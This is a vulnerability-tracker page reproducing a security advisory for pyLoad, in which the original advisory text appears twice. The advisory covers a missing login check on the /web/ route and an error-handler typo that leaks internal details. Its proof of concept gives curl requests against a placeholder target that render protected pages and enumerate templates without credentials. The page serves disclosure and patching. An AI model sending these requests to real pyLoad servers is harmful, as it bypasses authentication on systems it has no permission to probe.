Track vulnerabilities like this one.
Sign up free to get alerted when software you use is affected.
5.3
CVE-2026-75597: pyload lets anyone view internal pages
CVE-2026-75597 · published 20 days ago
Summary
The pyload web interface can serve its internal templates, such as logs, settings, and dashboard pages, without requiring a login. This also reveals internal error details and template names to anyone who accesses the special /web/ path. Update pyload to a version that protects these routes or restrict access to the /web/ endpoint.
What to do
- Update pyload team pyload-ng to version 0.5.0b3.dev101.
- Update pyload-ng to version 0.5.0b3.dev101.
Affected software
| Ecosystem | Vendor | Product | Affected versions |
|---|---|---|---|
| – | pyload | pyload | < 0.5.0b3.dev101 |
| pip | pyload team | pyload-ng |
<= 0.5.0b3.dev100 Fix: upgrade to 0.5.0b3.dev101
|
| pip | – | pyload-ng |
<= 0.5.0b3.dev100 Fix: upgrade to 0.5.0b3.dev101
|
| PyPI | – | pyload-ng |
< 0.5.0b3.dev101 Fix: upgrade to 0.5.0b3.dev101
|
Original advisory text
pyLoad: Unauthenticated access to /web/<path:filename> bypasses authentication on sensitive templates and leaks internal error details via exception attribute typo
### Summary
The `/web/<path:filename>` route in `src/pyload/webui/app/blueprints/app_blueprint.py` renders Jinja2 templates without any authentication requirement. Every equivalent direct route (`/logs`, `/settings`, `/queue`, `/dashboard`, etc.) is protected by `@login_required`, but the underlying templates for all of these pages are accessible unauthenticated via this endpoint. Combined with an exception attribute typo in `src/pyload/webui/app/handlers.py` (`exc.desc` instead of `exc.description`), internal Jinja2 variable names are leaked in HTTP 500 response bodies to unauthenticated callers. An attacker can also enumerate all valid template names by observing 200 vs 500 response differentiation.
### Details
**Bug 1 — Missing authentication on `/web/<path:filename>`**
File: `src/pyload/webui/app/blueprints/app_blueprint.py`, lines 32–36
```python
@bp.route("/web/<path:filename>", endpoint="web")
def render(filename): # ← no @login_required
mimetype = mimetypes.guess_type(filename)[0] or "text/html"
data = render_template(filename)
return flask.Response(data, mimetype=mimetype)
```
Every other sensitive route in the same file is protected:
```python
@bp.route("/logs", ...)
@login_required("LIST") # protected
@bp.route("/settings", ...)
@login_required("SETTINGS") # protected
@bp.route("/files", ...)
@login_required("DOWNLOAD") # protected
```
The `/web/<path:filename>` route has no such decorator, allowing any unauthenticated HTTP client to render arbitrary templates by supplying their filename in the URL path.
**Bug 2 — Exception attribute typo causes internal details in error responses**
File: `src/pyload/webui/app/handlers.py`, lines 12–20
```python
def handle_exception_error(exc):
try:
code = exc.code
desc = exc.desc # BUG: attribute does not exist on standard exceptions
except AttributeError: # always raised — falls here for every exception
code = 500
desc = exc # raw exception object assigned to desc
message = f"Error {code}: {desc}" # str(exc) embedded in response body
return render_template("error.html", messages=[message]), code
```
`exc.desc` does not exist on standard Python or Jinja2 exceptions. The `AttributeError` branch is always taken for template rendering failures. `desc` is set to the raw exception object, and `str(exc)` is embedded in the HTML response body returned to the unauthenticated caller. For a `UndefinedError` this produces `'conf' is undefined`. For `TemplateNotFound` it produces the template filename.
### PoC
Tested against pyload-ng develop branch (`0.5.0b3.dev`), default install, no authentication cookies or credentials used in any request.
**Test 1 — Unauthenticated page render confirmed (HTTP 200)**
```bash
curl -si http://TARGET:8000/web/logs.html | grep "HTTP\|title"
```
Test 2 — System info page with sensitive field labels rendered unauthenticated
```curl -s http://TARGET:8000/web/info.html | grep "Python Version\|Installation Folder\|Config Folder\|OS Platform"
html
<dt><b>Python Version:</b></dt>
<dt><b>OS Platform:</b></dt>
<dt><b>Installation Folder:</b></dt>
<dt><b>Config Folder:</b></dt>```
Test 3 — Internal Jinja2 variable name leaked in HTTP 500 body (unauthenticated)
```curl -si http://TARGET:8000/web/settings.html | grep "HTTP\|Error"
HTTP/1.1 500 INTERNAL SERVER ERROR
<p><b>Error 500: 'conf' is undefined</b></p>```
Test 4 — Template enumeration via response code differentiation
```curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/logs.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/info.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/dashboard.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/settings.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/queue.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/collector.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/filemanager.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/nonexistent_xyz.html
200 ← logs.html (exists, renders without auth)
200 ← info.html (exists, renders without auth)
200 ← dashboard.html (exists, renders without auth)
500 ← settings.html (exists, missing auth context — leaks 'conf' is undefined)
500 ← queue.html (exists, missing auth context)
500 ← collector.html (exists, missing auth context)
500 ← filemanager.html (exists, missing auth context)
500 ← nonexistent_xyz (does not exist — same 500, no differentiation on miss)```
###Impact
An unauthenticated remote attacker can:
Render application page templates without any credentials, bypassing the access control model enforced on all direct routes
Access the system information page (info.html) exposing field structure for Python version, OS platform, pyLoad version, installation folder, config folder, and WebUI port — values are populated via JS but field labels confirm application structure
Access the full log viewer UI (logs.html) and download dashboard (dashboard.html) without authentication
Extract internal Jinja2 template variable names from HTTP 500 response bodies ('conf' is undefined, etc.)
Enumerate all valid template filenames by observing 200 vs 500 response codes
The access control inconsistency is the core issue: the authentication model enforced on direct routes is completely bypassed via the /web/<path:filename> endpoint. Any future template that renders sensitive data server-side would be immediately exposed to unauthenticated access through this route.
The `/web/<path:filename>` route in `src/pyload/webui/app/blueprints/app_blueprint.py` renders Jinja2 templates without any authentication requirement. Every equivalent direct route (`/logs`, `/settings`, `/queue`, `/dashboard`, etc.) is protected by `@login_required`, but the underlying templates for all of these pages are accessible unauthenticated via this endpoint. Combined with an exception attribute typo in `src/pyload/webui/app/handlers.py` (`exc.desc` instead of `exc.description`), internal Jinja2 variable names are leaked in HTTP 500 response bodies to unauthenticated callers. An attacker can also enumerate all valid template names by observing 200 vs 500 response differentiation.
### Details
**Bug 1 — Missing authentication on `/web/<path:filename>`**
File: `src/pyload/webui/app/blueprints/app_blueprint.py`, lines 32–36
```python
@bp.route("/web/<path:filename>", endpoint="web")
def render(filename): # ← no @login_required
mimetype = mimetypes.guess_type(filename)[0] or "text/html"
data = render_template(filename)
return flask.Response(data, mimetype=mimetype)
```
Every other sensitive route in the same file is protected:
```python
@bp.route("/logs", ...)
@login_required("LIST") # protected
@bp.route("/settings", ...)
@login_required("SETTINGS") # protected
@bp.route("/files", ...)
@login_required("DOWNLOAD") # protected
```
The `/web/<path:filename>` route has no such decorator, allowing any unauthenticated HTTP client to render arbitrary templates by supplying their filename in the URL path.
**Bug 2 — Exception attribute typo causes internal details in error responses**
File: `src/pyload/webui/app/handlers.py`, lines 12–20
```python
def handle_exception_error(exc):
try:
code = exc.code
desc = exc.desc # BUG: attribute does not exist on standard exceptions
except AttributeError: # always raised — falls here for every exception
code = 500
desc = exc # raw exception object assigned to desc
message = f"Error {code}: {desc}" # str(exc) embedded in response body
return render_template("error.html", messages=[message]), code
```
`exc.desc` does not exist on standard Python or Jinja2 exceptions. The `AttributeError` branch is always taken for template rendering failures. `desc` is set to the raw exception object, and `str(exc)` is embedded in the HTML response body returned to the unauthenticated caller. For a `UndefinedError` this produces `'conf' is undefined`. For `TemplateNotFound` it produces the template filename.
### PoC
Tested against pyload-ng develop branch (`0.5.0b3.dev`), default install, no authentication cookies or credentials used in any request.
**Test 1 — Unauthenticated page render confirmed (HTTP 200)**
```bash
curl -si http://TARGET:8000/web/logs.html | grep "HTTP\|title"
```
Test 2 — System info page with sensitive field labels rendered unauthenticated
```curl -s http://TARGET:8000/web/info.html | grep "Python Version\|Installation Folder\|Config Folder\|OS Platform"
html
<dt><b>Python Version:</b></dt>
<dt><b>OS Platform:</b></dt>
<dt><b>Installation Folder:</b></dt>
<dt><b>Config Folder:</b></dt>```
Test 3 — Internal Jinja2 variable name leaked in HTTP 500 body (unauthenticated)
```curl -si http://TARGET:8000/web/settings.html | grep "HTTP\|Error"
HTTP/1.1 500 INTERNAL SERVER ERROR
<p><b>Error 500: 'conf' is undefined</b></p>```
Test 4 — Template enumeration via response code differentiation
```curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/logs.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/info.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/dashboard.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/settings.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/queue.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/collector.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/filemanager.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/nonexistent_xyz.html
200 ← logs.html (exists, renders without auth)
200 ← info.html (exists, renders without auth)
200 ← dashboard.html (exists, renders without auth)
500 ← settings.html (exists, missing auth context — leaks 'conf' is undefined)
500 ← queue.html (exists, missing auth context)
500 ← collector.html (exists, missing auth context)
500 ← filemanager.html (exists, missing auth context)
500 ← nonexistent_xyz (does not exist — same 500, no differentiation on miss)```
###Impact
An unauthenticated remote attacker can:
Render application page templates without any credentials, bypassing the access control model enforced on all direct routes
Access the system information page (info.html) exposing field structure for Python version, OS platform, pyLoad version, installation folder, config folder, and WebUI port — values are populated via JS but field labels confirm application structure
Access the full log viewer UI (logs.html) and download dashboard (dashboard.html) without authentication
Extract internal Jinja2 template variable names from HTTP 500 response bodies ('conf' is undefined, etc.)
Enumerate all valid template filenames by observing 200 vs 500 response codes
The access control inconsistency is the core issue: the authentication model enforced on direct routes is completely bypassed via the /web/<path:filename> endpoint. Any future template that renders sensitive data server-side would be immediately exposed to unauthenticated access through this route.
References
- https://github.com/pyload/pyload/security/advisories/GHSA-j92p-c242-7hfx URL
- https://github.com/pyload/pyload/commit/e80c940cd604e60d93e3164429d4fc4aac54468d URL
- https://github.com/advisories/GHSA-j92p-c242-7hfx Vendor Advisory
- https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/75xxx/CVE-2026-75597... Vendor Advisory
- https://github.com/pyload/pyload Product
- https://pypi.org/project/pyload-ng Product
- https://nvd.nist.gov/vuln/detail/CVE-2026-75597 Vendor Advisory
Internet-facing
14 days
Internal
60 days
- Not known to be exploited
- Can be exploited automatically
- Gives an attacker partial control
Type
CWE-209Generation of Error Message Containing Sensitive Information
CWE-306Missing Authentication for Critical Function
Timeline
Published15 Oct 2026
Updated3 Nov 2026
First seen9 Oct 2026
Sources
CVE-2026-75597 · NVD
CVE-2026-75597 · MITRE
GHSA-j92p-c242-7hfx · GHSA
CVE-2026-75597 · OSV
PYSEC-2026-4292 · OSV
GHSA-j92p-c242-7hfx · OSV
Track software like this
Free during beta